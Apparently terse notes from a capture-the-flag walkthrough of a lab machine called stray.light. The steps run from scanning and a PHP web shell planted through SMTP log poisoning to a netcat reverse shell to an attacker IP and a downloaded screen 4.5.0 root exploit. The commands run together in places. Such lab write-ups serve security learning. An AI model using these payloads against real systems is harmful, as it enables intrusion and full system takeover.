netdiscover -r <Kali IP>nano /etc/hosts then add the following line <target IP> stray.lightnmap -A -p0-65535 <007 IP>: “-A”, Enables OS detection, version detection, script-scanning, and trace-routegobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 20 -u http://stray.light/Note that to inject a command prompt onto php: <?php echo shell_exec($_GET['cmd']);?>
telnet stray.light 25) or nc (nc stray.light 25)HELO hackerMAIL FROM: "hacker <?php ?>, replace <?php ?> with the code shown in step 8.RCPT TO: rootDATA.php?bolo=/var/log/mail&cmd=id
Check if netcat is installed - .php?bolo=/var/log/mail&cmd=which nc –> /bin/nc is shown/returned
nc <ip> <port> -e /bin/bash | (windows) nc <ip> <port> -e cmd.exe:
nc 10.0.0.1 1234 -e /bin/bash.&cmd=nc%2010.0.0.1%201234%20-e%20/bin/bashnc -lvnp 9001Once connected, run id to verify
Spawn in a shell! –> python -c "import pty; pty.spawn('/bin/bash')"
cat /etc/passwd
ls -halt /home/wintermute(empty), ls -halt /home/turing-police (empty)find / -perm -4000 -type f -ls 2>/dev/null, notice unusual “screen-4.5.0”searchsploit screen 4.5.0 –> returns 1 exploitsearchsploit -m 41154cd /tmp –> wget http://<Kali IP>:80/41154.sh./41154.shcd /root –> ls -halt (I think the flag is here somewhere)